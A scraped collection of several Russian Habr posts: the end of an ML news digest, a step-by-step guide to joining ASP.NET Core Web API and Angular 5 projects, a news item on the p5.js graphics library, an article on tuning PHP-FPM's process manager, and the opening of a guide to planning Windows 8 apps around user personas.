→ [Подробнее](https://towardsdatascience.com/algorithmic-solutions-to-algorithmic-bias-aef59eaf6565)
**28.** Наводящий компьютерный дизайн. Содействие дизайну через машинное обучение.
→ [Подробнее](https://towardsdatascience.com/suggestive-computer-aided-design-a9c7698c1cc9)
**29.** Генерация набора данных: создание эскизов фотографий с помощью GAN. Данные являются основой наших моделей ML и DL. Мы не можем создавать сильные программы, если у нас нет соответствующего набора данных для обучения алгоритмов.
→ [Подробнее](https://towardsdatascience.com/dataset-generation-photo-sketching-with-gans-b94ce53d59c1)
Кто не прочёл мой дайджест новостей за июнь, [оставляю ссылку](https://habr.com/ru/company/mailru/blog/458168/).
На этом наш короткий дайджест подошел к концу. Добавляйте в закладки, делитесь с коллегами, делайте выводы и работайте продуктивно. На постоянной основе этот дайджест выходит в [телеграм-канале Нейрон](https://t.me/neurondata) (@neurondata) и подписывайтесь на меня в Хабре, не пропускайте следующих дайджестов.
Всем знаний! | https://habr.com/ru/post/458804/ | null | ru | null |
# Краткое руководство: связываем ASP.NET Core Web API + Angular 5
История о том, как подружить два отдельных проекта ASP.NET Core Web API и Angular 5, и заставить их работать, как одно целое.
Вступление
----------
*Данная статья рассчитана на новичков, которые делают первые шаги в изучении Angular в связке с .NET Core.*
Если вы используете Visual Studio для разработки, то наверное уже встречались с готовыми шаблонами проектов с подключенным Angular. Данные шаблоны позволяют в пару кликов создать приложение, которое уже имеет настроенный роутер и несколько готовых компонент. Вам не нужно тратить время на минимальную настройку рабочего приложения: вы уже имеете рабочий WebPack, отдельный модуль для общих компонент, настроенный роутер, подключенный Bootstrap. Возможно, вы подумаете: *«Супер! Круто! Половина дела сделана!»*. Но на самом деле все немного сложнее…
Сложность и подводные камни заключаются в том, что у такого подхода и в стандартных шаблонах есть несколько существенных **недостатков**:
> 1. Жесткая связь веб-интерфейса с серверной часть
> 2. Сильно усложненная минимально рабочая версия приложения
> 3. Отсутствие возможности использовать Angular CLI
> 4. Лишние предустановленные пакеты
> 5. Нарушение некоторых принципов из Angular Style Guide
>
>
>
>
Различные *best-practice* советуют нам **разделять приложение на два отдельных проекта**, что в нашем случае — **.NET Core Web API** и **Angular** проекты. Основными **преимуществами** такого подхода будет следующее:
> 1. Два независимых друг от друга проекта, что позволит нам в дальнейшем реализовать альтернативный интерфейс, не трогая проект с серверной частью
> 2. Суженный глобальный *search scope*, что позволяет эффективнее и проще производить поиск
> 3. Абстрагированность от рабочего окружения, в котором разрабатывается серверная часть, Visual Studio например — мы можем использовать VS Code, Sublime Text, Atom или другой удобный для вас редактор
>
>
>
>
При таком раскладе конечных сценария продакшена два:
> 1. Вы хостите веб-интерфейс на одном адресе, а сервер — на другом
> 2. Либо собираете **магическим** образом проекты в один и хостите только его
>
>
>
>
Моей задачей являлся как раз **второй сценарий**, так был он был более предпочтительным по экономическим соображениям. И вот, когда я пытался разобраться с тем, каким же все-таки образом подружить .NET Core Web API проект с Angular проектом, так, чтобы **во время разработки у нас было два отдельных проекта, а в продакшене — всего один**, а конкретно .NET Core веб-сайт, то я так и не смог найти полноценного руководства «с нуля до рабочего приложения». Пришлось собирать по кусочкам решения с англоговорящих форумов и блогов. Если у вас вдруг появилась такая же задача, то достаточно будет прочитать мою статью.
Поехали!
--------
Итак, что мы будем использовать? Нам потребуются следующие вещи:
> * [.NET Core SDK](https://www.microsoft.com/net/download/windows) — 2.0 версии или выше
> * [Node.js](https://nodejs.org/) — 8.9.0 версии или выше
> * npm — 5.5.0 версии или выше
> * [Angular CLI](https://github.com/angular/angular-cli#installation) — 1.6.5 версии или выше
> * [Visual Studio Code](https://code.visualstudio.com/download)
>
>
>
>
*Если у вас уже установлена **Visual Studio 2017** и при установке вы выбирали **.NET Core Development**, то **.NET Core SDK у вас уже есть** и устанавливать его не нужно. Однако **Node.js отдельно придется установить** даже если был выбран **Node.js Development**. Npm установится вместе с Node.js. Angular CLI устанавливается глобально из командной строки через npm (инструкция есть по ссылке выше).*
Теперь нам следует проверить, все ли установлено и готово к работе. Для этого откройте командную строку (терминал) и выполните подряд команды, перечисленные ниже:
```
dotnet --version #Версия .NET Core
node --version #Версия Node.js
npm --version #Версия npm
ng --version #Версия Angular CLI
```
**Результат командной строки (версии могут отличаться, ничего страшного)** 
Создаем проект .NET Core Web API
--------------------------------
В данной статье я буду выполнять все действия через командную строку и VS Code, так как он поддерживает .NET Core. Однако, если для вас предпочтительна Visual Studio 2017 для работы с .NET проектами, то можете смело создать и редактировать проект через нее.
#### Шаг первый
Создаем корневую папку проекта **Project**, открываем ее в VS Code, запускаем терминал сочетанием клавиш **Ctrl + ~** (тильда, буква ё). Пока ничего сложного:)
**Окно VS Code и запущенный терминал** 
#### Шаг второй
Теперь нам нужно создать проект. Для этого выполняем команду:
```
dotnet new webapi -n Project.WebApi
```
**Окно VS Code с открытым проектом и запущенный терминал** 
#### Шаг третий
Проверяем все ли работает. Через терминал переходим в папку с только что созданным проектом, после выполняем команду:
```
dotnet run
```
**Окно VS Code с открытым проектом и запущенный терминал** 
#### Шаг четвертый
Если на прошлом шаге все прошло успешно и в консоль было выведено **Now listening on: [localhost](http://localhost):5000**, значит сервер успешно запущен. Перейдем по адресу **[localhost](http://localhost):5000/api/values** (тестовый контроллер, который создается автоматически). Вы должны увидеть JSON с тестовыми данными.
**Результат в браузере** 
#### Шаг пятый
Возвращаемся в VS Code и в терминале нажимаем **Ctrl + C**, чтобы остановить работу сервера.
**Окно VS Code с открытым проектом и запущенный терминал** 
Создаем проект Angular
----------------------
Теперь создадим проект Angular. Для этого будем использовать команды Angular CLI, VS Code и встроенный терминал.
#### Шаг первый
В терминале переходим в корневую папку нашего проекта **Project** и создаем новый проект с названием **Project.Angular** (придется немного подождать):
```
cd ..\
ng new Project.Angular
```
**Окно VS Code с открытым проектом и запущенный терминал** 
#### Шаг второй
Перейдем в терминале в папку только что созданного проекта и запустим его:
```
cd ./Project.Angular
ng serve --open
```
**Окно VS Code с открытым проектом и запущенный терминал** 
#### Шаг третий
Если на прошлом шаге все прошло успешно и в консоль было выведено **NG Live Development Server is listening on localhost:4200**, значит сервер успешно запущен. Перейдем по адресу **[localhost](http://localhost):4200**. Вы должны увидеть тестовую страничку Angular.
**Результат в браузере** 
#### Шаг четвертый
Возвращаемся в VS Code и в терминале нажимаем **Ctrl + C**, вводим **Y**, чтобы остановить работу сервера.
**Окно VS Code с открытым проектом и запущенный терминал** 
Настраиваем проект Angular
--------------------------
Теперь нам нужно настроить две вещи: proxy.config.json для перенаправления запросов к серверу на нужный порт, и самое главное — настройка сборки в папку wwwroot.
#### Шаг первый
Создаем в корне проекта **Project.Angular** файл с названием **proxy.config.json** и добавляем в него следующее содержимое:
```
{
"/api/*": {
"target": "http://localhost:5000/",
"secure": false,
"logLevel": "debug"
}
}
```
**proxy.config.json**
```
{
"/api/*": {
"target": "http://localhost:5000/",
"secure": false,
"logLevel": "debug"
}
}
```
Данная настройка указывает на то, что все запросы начинающиеся с /api/… будут попадать на [localhost](http://localhost):5000/. То есть результирующим запросом будет [localhost](http://localhost):5000/api/…
#### Шаг второй
Укажем Angular, что в режиме разработки нам нужно использовать этот proxy.config. Для этого открываем файл **package.json** (который находится там же, в корне), находим команду **scripts -> start** и заменяем значение на:
```
{
...
scripts: {
...
"start": "ng serve --proxy-config proxy.config.json",
}
}
```
**package.json**
```
{
{
"name": "project.angular",
"version": "0.0.0",
"license": "MIT",
"scripts": {
"ng": "ng",
"start": "ng serve --proxy-config proxy.config.json",
"build": "ng build --prod",
"test": "ng test",
"lint": "ng lint",
"e2e": "ng e2e"
},
"private": true,
"dependencies": {
"@angular/animations": "^5.2.0",
"@angular/common": "^5.2.0",
"@angular/compiler": "^5.2.0",
"@angular/core": "^5.2.0",
"@angular/forms": "^5.2.0",
"@angular/http": "^5.2.0",
"@angular/platform-browser": "^5.2.0",
"@angular/platform-browser-dynamic": "^5.2.0",
"@angular/router": "^5.2.0",
"core-js": "^2.4.1",
"rxjs": "^5.5.6",
"zone.js": "^0.8.19"
},
"devDependencies": {
"@angular/cli": "1.6.7",
"@angular/compiler-cli": "^5.2.0",
"@angular/language-service": "^5.2.0",
"@types/jasmine": "~2.8.3",
"@types/jasminewd2": "~2.0.2",
"@types/node": "~6.0.60",
"codelyzer": "^4.0.1",
"jasmine-core": "~2.8.0",
"jasmine-spec-reporter": "~4.2.1",
"karma": "~2.0.0",
"karma-chrome-launcher": "~2.2.0",
"karma-coverage-istanbul-reporter": "^1.2.1",
"karma-jasmine": "~1.1.0",
"karma-jasmine-html-reporter": "^0.2.2",
"protractor": "~5.1.2",
"ts-node": "~4.1.0",
"tslint": "~5.9.1",
"typescript": "~2.5.3"
}
}
}
```
В дальнейшем для запуска проекта Angular будем использовать команду **npm start** вместе **ng serve**. Команда **npm start** является сокращением для команды, которая указана у вас в package.json.
#### Шаг третий
Последним шагом будет простая настройка сборки (по команде) проекта в папку wwwroot .NET Core Web API проекта. В открытом файле **package.json** находим команду **scripts -> build** и заменяем значение на следующее:
```
{
...
scripts: {
...
"build": "ng build --prod --output-path ../Project.WebApi/wwwroot",
}
}
```
**package.json**
```
{
{
"name": "project.angular",
"version": "0.0.0",
"license": "MIT",
"scripts": {
"ng": "ng",
"start": "ng serve --proxy-config proxy.config.json",
"build": "ng build --prod --output-path ../Project.WebApi/wwwroot",
"test": "ng test",
"lint": "ng lint",
"e2e": "ng e2e"
},
"private": true,
"dependencies": {
"@angular/animations": "^5.2.0",
"@angular/common": "^5.2.0",
"@angular/compiler": "^5.2.0",
"@angular/core": "^5.2.0",
"@angular/forms": "^5.2.0",
"@angular/http": "^5.2.0",
"@angular/platform-browser": "^5.2.0",
"@angular/platform-browser-dynamic": "^5.2.0",
"@angular/router": "^5.2.0",
"core-js": "^2.4.1",
"rxjs": "^5.5.6",
"zone.js": "^0.8.19"
},
"devDependencies": {
"@angular/cli": "1.6.7",
"@angular/compiler-cli": "^5.2.0",
"@angular/language-service": "^5.2.0",
"@types/jasmine": "~2.8.3",
"@types/jasminewd2": "~2.0.2",
"@types/node": "~6.0.60",
"codelyzer": "^4.0.1",
"jasmine-core": "~2.8.0",
"jasmine-spec-reporter": "~4.2.1",
"karma": "~2.0.0",
"karma-chrome-launcher": "~2.2.0",
"karma-coverage-istanbul-reporter": "^1.2.1",
"karma-jasmine": "~1.1.0",
"karma-jasmine-html-reporter": "^0.2.2",
"protractor": "~5.1.2",
"ts-node": "~4.1.0",
"tslint": "~5.9.1",
"typescript": "~2.5.3"
}
}
}
```
Для выполнения этого действия выполните в терминале команду **npm run build**. Результатом будет собранные файлы проекта в папке wwwroot.
Настраиваем проект .NET Core Web API
------------------------------------
Осталось научить серверную работать со статическими файлами и разрешать запросы с другого порта.
#### Шаг первый
Открываем **Startup.cs** и добавляем в метод Configure строчки, позволяющие серверу обрабатывать статические файлы:
```
app.UseDefaultFiles();
app.UseStaticFiles();
```
**Метод Configure в Startup.cs**
```
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseDefaultFiles();
app.UseStaticFiles();
app.UseMvc();
}
```
#### Шаг второй
В **Startup.cs**, в метод Configure, добавляем строку, позволяющую серверу принимать запросы с порта 4200:
```
app.UseCors(builder => builder.WithOrigins("http://localhost:4200"));
```
**Метод Configure в Startup.cs**
```
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseDefaultFiles();
app.UseStaticFiles();
app.UseCors(builder => builder.WithOrigins("http://localhost:4200"));
app.UseMvc();
}
```
#### Шаг третий
В методе ConfigureServices добавляем поддерку CORS:
```
services.AddCors();
```
**Метод ConfigureServices в Startup.cs**
```
public void ConfigureServices(IServiceCollection services)
{
services.AddCors();
services.AddMvc();
}
```
В конечном итоге файл Startup.cs должен иметь содержимое, которое представлено ниже:
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Options;
namespace Project.WebApi
{
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc();
services.AddCors(); // <-- Добавили это
}
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseDefaultFiles(); // <-- Это
app.UseStaticFiles(); // <-- Вот это
app.UseCors(builder => builder.WithOrigins("http://localhost:4200")); // <-- И вот так:)
app.UseMvc();
}
}
}
```
Готово! Теперь вы можете смело обращаться к вашим API контроллерам из Angular проекта. Также, вызвав команду **npm run build** для Angular проекта, у вас будет версия Web API приложения готовая для деплоя.
Заключение
----------
Это было краткое руководство по тому, что нужно сделать, чтобы иметь два отдельных проекта, и заставить их работать как одно целое.
Настройка CORS и автоматизация сборки даже далеко не претендует на продакшен версию. Однако, вы теперь знаете, куда смотреть и копать. Надеюсь моя статья окажется для кого-то полезной. Лично мне ее как раз и не хватало, когда я пытался наладить общение между этими двумя технологиями.
В данной статье я не осветил несколько моментов, связанных с маршрутизацией в Web API проекте, более гибкой настройкой CORS, автоматической сборкой и т.д. В планах написать более подробную статью, как собрать уже продакшен версию такого варианта приложения. Если вдруг у вас возникнут вопросы, то пишите в комментарии или на любой из контактов, указанных в профиле, я постараюсь вам помочь. | https://habr.com/ru/post/349522/ | null | ru | null |
# Команда разработчиков графического языка Processing представила официальную JavaScript-библиотеку p5.js
[Язык Processing](http://habrahabr.ru/post/58314//), основанный на Java, был написан в 2001 году для создания графики и анимаций. Для использования этого языка в интернете в 2008 году Джон Резиг написал библиотеку [Processing.js](http://habrahabr.ru/post/59402/). Библиотека быстро завоевала популярность и активно развивалась в течение нескольких лет после релиза. [Часы на кривых Безье](http://habrahabr.ru/post/236455/), о которых на Хабре писали несколько дней назад, были созданы именно с помощью Processing.js.
В прошлом году команда разработчиков Processing объявила о планах создать собственную JavaScript-библиотеку. В августе бета-версия p5.js была представлена широкой публике. [Библиотека p5.js](http://p5js.org/) сильно отличается от Processing.js по архитектуре. Главные отличия — отсутствие необходимости изучать язык Processing и более тесная интеграция с HTML. Processing.js — это транслятор Processing в JavaScript. Основное назначение этой библиотеки — рендеринг файлов PDE с исходным кодом Processing. При использовании этой библиотеки программист может вообще не знать JavaScript. Возможно, в 2008 году это была весьма удачная идея, но сейчас, после нескольких лет бурного развития JavaScript и появления множества графических библиотек сформировалось поколение программистов и дизайнеров, для которых JavaScript намного «роднее» и понятнее Java-подобного Processing.
*Пример анимации, созданной с помощью языка Processing*
p5.js предоставляет набор функций, объектов и констант для рисования произвольных форм, их преобразования и взаимодействия с пользователем. С возможностями p5.js можно ознакомиться, взглянув на [справочник библиотеки](http://p5js.org/reference/). p5.js использует для рендеринга элемент canvas, однако умеет взаимодействовать и с другими элементами HTML, поддерживает работу со звуком и видео. Вживую оценить возможности библиотеки можно по [презентации](http://hello.p5js.org/) на сайте проекта и по [многочисленным примерам](http://p5js.org/learn/) там же.
Для тех, кто знает язык Processing, разработчики составили подробное [описание основных отличий](https://github.com/lmccart/p5.js/wiki/Processing-transition). Кроме того, несколько примеров сравнения кода Processing и p5 есть [в этой статье](http://www.sitepoint.com/processing-js-vs-p5-js-whats-difference/). Подключить библиотеку можно как с собственного сервера, так и с CDN:
```
```
или
```
```
Каждая отдельная графическая работа в p5.js называется «скетч». По умолчанию все функции p5 доступны непосредственно в глобальном пространстве имён (это, странное на первый взгляд, решение, по-видимому связано с тем, что основная целевая аудитория Processing — дизайнеры и художники, которым бывает трудно объяснить, почему плохо захламлять глобальное пространство и что это вообще такое). Каждый скетч состоит как минимум из двух функций — `setup` и `draw`. Вот пример простейшего скетча, который рисует на холсте белые круги под указателем мыши если кнопка не нажата, и чёрные — если нажата:
```
function setup() {
createCanvas(640, 480);
}
function draw() {
if (mouseIsPressed) {
fill(0);
} else {
fill(255);
}
ellipse(mouseX, mouseY, 80, 80);
}
```
В случае, если p5 используется не для создания отдельного скетча, а в составе большой программы, содержащей другие библиотеки или несколько скетчей p5, лучше обернуть каждый отдельный скетч в функцию. В терминологии p5.js это называется «instance mode»:
```
var sketch = function( s ) {
s.setup = function() {
s.createCanvas(640, 480);
};
s.draw = function() {
if (s.mouseIsPressed) {
s.fill(0);
} else {
s.fill(255);
};
s.ellipse(s.mouseX, s.mouseY, 80, 80);
};
};
var myp5 = new p5(sketch);
```
Судя по активности, с которой ведётся разработка, стремлению не только писать код, но и создавать качественную документацию и примеры, а так же официальному происхождению от Processing, p5.js имеет все шансы в ближайшее время стать одной из самых популярных библиотек для создания интерактивной графики и анимаций в интернете. | https://habr.com/ru/post/236621/ | null | ru | null |
# Настройка PHP-FPM: используем pm static для максимальной производительности
*Неотредактированная версия статьи была изначально опубликована на [haydenjames.io](https://haydenjames.io/php-fpm-tuning-using-pm-static-max-performance/) и публикуется здесь с разрешения ее [автора](https://haydenjames.io).*
Я в двух словах расскажу, как лучше всего настроить PHP-FPM, чтобы увеличить пропускную способность, снизить задержку и более стабильно использовать процессорные ресурсы и память. По умолчанию строка PM (process manager, менеджер процессов) в PHP-FPM имеет значение *dynamic*, а если у вас не хватает памяти, то лучше установить *ondemand*. Давайте сравним 2 варианта управления на основе документации php.net и посмотрим, чем от них отличается мой любимый *static* pm для большого объема трафика:
**pm = dynamic** — количество дочерних процессов настраивается динамически на основе следующих директив: *pm.max\_children, pm.start\_servers,pm.min\_spare\_servers, pm.max\_spare\_servers*.
**pm = ondemand** — процессы создаются по требованию (в отличие от динамического создания, когда pm.start\_servers запускаются при запуске сервиса).
**pm = static** — количество дочерних процессов фиксировано и указывается параметром *pm.max\_children*.
Подробности см. в [полном списке глобальных директив php-fpm.conf](http://php.net/manual/en/install.fpm.configuration.php).
### Сходства менеджера процесса PHP-FPM с регулятором частоты процессора
Это может показаться оффтопом, но я собираюсь связать это с темой настройки PHP-FPM. У кого хоть раз не тормозил процессор — на ноутбуке, виртуальной машине или выделенном сервере. Помните масштабирование частоты процессора? Эти параметры, доступные для *nix и Windows, могут повысить производительность и скорость отклика системы, если изменить параметр регулятора процессора с* ondemand *на* performance\*. На этот раз давайте сравним описания и посмотрим на сходства:
**Governor = ondemand** — динамическое масштабирование частоты процессора в зависимости от текущей нагрузки. Резко переходит на максимальную частоту, а затем снижает ее, когда увеличиваются периоды простоя.
**Governor = conservative =** динамическое масштабирование частоты в зависимости от текущей нагрузки. Увеличивает и уменьшает частоту плавнее, чем ondemand.
**Governor = performance** — частота всегда максимальная.
Подробности см. в [полном списке параметров регулятора частоты процессора](https://www.kernel.org/doc/Documentation/cpu-freq/governors.txt).
Видите сходство? Я хотел показать это сравнение, чтобы убедить вас, что лучше всего использовать *pm static* для PHP-FPM.
Для регулятора процессора параметр *performance* помогает безопасно увеличить производительность, потому что она почти полностью зависит от лимита процессора сервера. Кроме этого, конечно, есть еще такие факторы, как температура, заряд аккумулятора (в ноутбуке) и другие побочные эффекты постоянной работы процессора на 100%. Настройка performance обеспечивает самую быструю работу процессора. Почитайте, например, о [параметре force\_turbo в Raspberry Pi](https://haydenjames.io/raspberry-pi-3-overclock/), с которым панель RPi будет использовать регулятор *performance*, где улучшение производительности будет заметнее из-за низкой тактовой частоты ЦП.
### Использование pm static для достижения максимальной производительности сервера
Параметр PHP-FPM *pm static* во многом зависит от свободной памяти на сервере. Если памяти мало, лучше выбрать *ondemand* или *dynamic*. С другой стороны, если у вас есть память, можно избежать лишних издержек менеджера процесса PHP, установив pm *static* на максимальную емкость сервера. Другими словами, если все хорошо подсчитать, нужно установить *pm.static* на максимальный объем процессов PHP-FPM, которые могут выполняться, *не создавая проблем с нехваткой памяти или кэша. Но не так высоко, чтобы перегрузить процессоры и накопить кучу операций PHP-FPM, ожидающих выполнения*.
[](https://habrastorage.org/webt/ku/aw/nx/kuawnxjy5mun0bzouv2kh-virsu.png)
На скриншоте выше у сервера установлено *pm = static и pm.max\_children = 100*, и это занимает примерно 10 ГБ из имеющихся 32. Обратите внимание на выделенные столбцы, тут и так все понятно. На этом скриншоте было примерно 200 активных пользователей (более 60 секунд) в Google Analytics. На этом уровне примерно 70% дочерних процессов PHP-FPM все еще бездействуют. Это значит, что PHP-FPM всегда установлен на максимальный объем ресурсов сервера независимо от текущего трафика. Простаивающий процесс ждет пиков трафика и реагирует моментально. Вам не приходится ждать, пока *pm* создаст дочерние процессы, а потом завершит их, когда истечет период *pm.process\_idle\_timeout*. Я установил очень большое значение для *pm.max\_requests*, потому что это рабочий сервер без утечек памяти в PHP. Вы можете установить *pm.max\_requests = 0* со static, если полностью уверены в имеющихся и будущих скриптах PHP. Но лучше перезапускать скрипты со временем. Установите большое число запросов, ведь мы хотим избежать лишних издержек pm. Например, хотя бы *pm.max\_requests = 1000* — в зависимости от количества *pm.max\_children* и числа запросов в секунду.
На скриншоте показана команда [Linux top](https://haydenjames.io/linux-top-customize-it/), фильтрованная по u (user) и имени пользователя PHP-FPM. Показано только первые 50 или около того процессов (точно не считал), но, по сути, top показывает топ статистики, которая помещается в окно терминала. В этом случае с сортировкой по % ЦП (%CPU). Чтобы посмотреть все 100 процессов PHP-FPM, выполните команду:
```
top -bn1 | grep php-fpm
```
### Когда использовать pm ondemand и dynamic
Если использовать pm *dynamic*, возникают подобные ошибки:
```
WARNING: [pool xxxx] seems busy (you may need to increase pm.start_servers, or pm.min/max_spare_servers), spawning 32 children, there are 4 idle, and 59 total children
```
Попробуйте изменить параметр, ошибка никуда не денется, как [описывается в этом посте на Serverfault](https://serverfault.com/questions/773216/php-error-pool-www-seems-busy-you-may-need-to-increase-pm-start-servers-or-p). В этом случае значение pm.min было слишком маленьким, а раз веб-трафик сильно меняется и у него есть высокие пики и глубокие спады, сложно адекватно настроить pm *dynamic*. Обычно при этом используется pm *ondemand*, [как советуют в том же посте](https://serverfault.com/questions/773216/php-error-pool-www-seems-busy-you-may-need-to-increase-pm-start-servers-or-p). Но это еще хуже, ведь *ondemand* завершает бездействующие процессы до нуля, когда трафика мало или нет вообще, и в итоге вы все равно будете мучиться с издержками при изменении трафика. Если, конечно, вы не установили огромное время ожидания. И тогда лучше уж использовать *pm.static* + высокое число *pm.max\_requests*.
PM *dynamic* и особенно *ondemand* могут пригодиться, если у вас несколько пулов PHP-FPM. Например, вы размещаете несколько аккаунтов cPanel или несколько веб-сайтов в разных пулах. У меня есть сервер, где, допустим, 100+ аккаунтов cpanel и примерно 200 доменов, и pm.static или даже dynamic меня бы не спас. Тут нужен только *ondemand*, ведь больше двух третей веб-сайтов получают мало трафика или вообще никакого, а с *ondemand* все дочерние процессы отвалятся, что сэкономит нам уйму памяти! К счастью, разработчики cPanel это заметили и установили значение по умолчанию *ondemand*. Раньше, когда значением по умолчанию был *dynamic*, PHP-FPM вообще не подходил для нагруженных общих серверов. Многие использовали *suPHP*, потому что pm *dynamic* потреблял память даже при бездействующих пулах и аккаунтах cPanel PHP-FPM. Скорее всего, при хорошем трафике вы не будете размещаться на сервере с большим числом пулов PHP-FPM (общий хостинг).
### Заключение
Если вы используете PHP-FPM и трафик у вас серьезный, менеджеры процессов *ondemand* и *dynamic* для PHP-FPM будут ограничивать пропускную способность из-за присущих им издержек. Изучите свою систему и настройте процессы PHP-FPM в соответствии с максимальной емкостью сервера. Сначала задайте *pm.max\_children* в зависимости от максимального использования pm *dynamic* или *ondemand*, а затем увеличьте это значение до уровня, где память и процессор будут работать без чрезмерной перегрузки. Вы заметите, что с *pm static*, раз у вас все хранится в памяти, пики трафика со временем будут вызывать меньше пиков для процессора, а средние значения нагрузки сервера и процессора выровняются. Средний размер процесса PHP-FPM зависит от веб-сервера и требует настройки вручную, поэтому более автоматизированные менеджеры процессов — *dynamic* и *ondemand* — более популярны. Надеюсь, статья была полезной.
**UPD** Добавлена диаграмма бенчмарка [ab](https://httpd.apache.org/docs/2.4/programs/ab.html). Если процессы PHP-FPM находятся в памяти, производительность увеличивается за счет потребления памяти, где они сидят и ждут. Найдите для себя оптимальный вариант.
[](https://habrastorage.org/webt/uw/6w/h4/uw6wh4vkhvsokb13szxoonv98jw.png) | https://habr.com/ru/post/460511/ | null | ru | null |
# Жесткая приоритизация, или 5 первых шагов к отличному приложению для Windows 8. От персонажей к сценариям
Одна из сложностей, с которой, по моему опыту, сталкиваются практически все разработчики и дизайнеры, работая над приложениями для Windows 8 и Windows Phone, начинается прямо с порога – с проектирования того, как пользователь будет взаимодействовать с приложением (UX и UI).
Часто разработчик (автор приложения) приходит с некоторой готовой идей и старается напрямую перенести в Windows 8 привычную десктопную, мобильную или веб-функциональность. Обычно эта прямолинейная попытка «портирования» оборачивается стремлением сохранить все, что есть в оригинальном решении, включая схожие шаблоны решения интерфейсных задач и знакомые приемы разработки и написания кода.
`По последнему пункту отмечу только один момент: хотя мы и говорим, что начать разрабатывать под Windows 8 достаточно просто (и это действительно так, если вы знаете JS, C#/VB или C++), это не означает, что разрабатывать нужно (и можно) точно так, как вы привыкли. Так, например, в мире Windows 8 большое внимание уделяется асинхронным сценариям, что накладывает свои ограничения и требования на то, как и какой вы пишите код.`
Такой подход, к сожалению, не только не учитывает необходимость переосмысления уже имеющихся и привычных сценариев использования приложения, но и часто оставляет за бортом новые возможности операционной системы, открывающие новые сценарии или предлагающие *другие* (более универсальные) решения для привычных задач.
С этой же проблемой сталкиваются и новые оригинальные приложения, невольно тянущие за собой устоявшийся опыт дизайнеров и разработчиков. Поэтому давайте разбираться, как же сделать хорошо. И начнем мы с самого начала: планирования и проектирования приложения.
В качестве дополнительной литературы сразу могу порекомендовать две статьи, на которые в определенной степени опирается и моя:
* [Планирование приложений в стиле Metro](http://msdn.microsoft.com/ru-ru/library/windows/apps/hh465427.aspx)
* [Cоздание выделяющихся приложений в стиле Metro](http://blogs.msdn.com/b/windowsappdev_ru/archive/2012/07/18/cr-233-ation-d-applications-de-style-metro-qui-sortent-du-lot.aspx)
### Жесткая приоритизация
В основе грамотного проектирования приложений для Windows 8 (подчеркну, что то же самое применимо и для Windows Phone, хотя сценарии использования, форм-фактор и интерфейсные решения будут отличаться) лежит **жесткая приоритизация, которая должна пронизывать все принимаемые вами решения**.
Приоритизация (или расставление приоритетов) касается практически каждого шага, начиная с определения целевой аудитории и заканчивая, к примеру планированием реализуемой функциональности и ее доступности пользователю.
В этой статье мы рассмотрим 5 ключевых этапов, на которых вам придется расставлять приоритеты:
1. Определение целевой аудитории
2. Формулировка цели приложения
3. Отбор ключевых сценариев
4. Планирование навигации
5. Проработка функциональности
### 1. Знайте своего пользователя
Все начинается с пользователей и ими же заканчивается: вы делаете приложения для конкретных пользователей и конкретные пользователи будут или не будут пользоваться вашим приложением.
С точки зрения проектирования важно представлять себе (с разумной достоверностью), кто будет пользоваться вашим приложением. Ключевые вопросы, над которыми вам стоит подумать (и желательно зафиксировать ответ), звучат следующим образом:
* Кто ваш пользователь?
* Зачем ему ваше приложение?
* Когда, где и как он будет им пользоваться?
`(Я буду по ходу этого раздела иногда вставлять ссылки на рекламные ролики — и буду говорить, на что в них нужно обратить внимание.)`
**Подумайте о том, как ваше приложение может изменить жизнь пользователя: почему с ним ему станет лучше?** Какую пользу вы ему принесете? Сэкономите время, займете время, решите проблемы, заставите задуматься, вовремя подскажите?
В ролике ниже от Nokia обратите внимание на общий посыл — как конкретное приложение переворачивает всю картину и делает возможным некоторое новое решение или новый поворот событий:
<http://www.youtube.com/watch?v=9OqqSHw7V8Q>
**Подумайте о том, как ваше приложение интегрируется в жизнь пользователя?** Какими будут основные точки входа? Будет ли он им пользоваться время от времени, с утра или вечером, по 1 минуте или по 10-15 минут? По дороге, на работе, дома, в тренажерном зале, в аэропорту?
В следующем ролике заметьте, какими разнообразными могут быть условия и поводы даже в течение одно дня для того, чтобы воспользоваться любимым устройством. Какие условия и поводы необходимы для вашего приложения?
<http://www.youtube.com/watch?v=2jsLcPFlM9M>
**Подумайте о том, насколько сильно могут различаться ваши пользователи?** Имеют ли значение для вашего приложения возраст, пол, социальное положение, наличие детей, уровень достатка, привычки и пристрастия? Насколько важно, учится пользователь или работает, сам готовит себе яичницу или ходит по кафе и ресторанам, ездит на собственной машине, велосипеде или общественным транспорте?
В еще одном ролике ниже (тоже от Nokia — там очень креативные ребята ;) обратите внимание на то, сколько разных, странных и интересных людей может быть вокруг вас!
<http://www.youtube.com/watch?v=I1qTbs8K3go>
Как вы понимаете, разных пользователей и различных историй может быть довольно много, поэтому важно, имея, конечно, в виду всю совокупность, выделить для себя несколько основных моделей (персонажей), на которых вы сможете ориентироваться, прорабатывая свое приложение.
#### Придумайте персонажей
Опишите для своего приложения 2-3 ключевых персонажа:
* В чем они уникальны и отличаются или наоборот типичны и похожи?
* Добавьте интересных деталей и конкретики, имеющих смысл для вашего приложения, например:
+ Как быстро они осваивают новые технологии?
+ Любят ли они пробовать новое?
+ Имеют ли опыт работы с другими приложениями в вашей области?
+ Насколько они социально активны?
+ Есть ли какие-то особенности и предпочтения?
> **Пример**. Представьте себе приложение для организации совместного просмотра кино с друзьями. Один из персонажей мог бы выглядеть так:
>
>
>
> 
>
>
Наличие деталей или какой-то уникальной специфики упрощает моделирование поведения такого персонажа при использовании вашего приложения. За особенности персонажей можно цепляться, придумывая истории вокруг работы с вашим приложением. В примере выше мне важно, что данный персонаж активно интересуется новыми приложениями, имеет предпочтения в определенных жанрах и социально замкнут, эгоистичен либо мало инициативен.
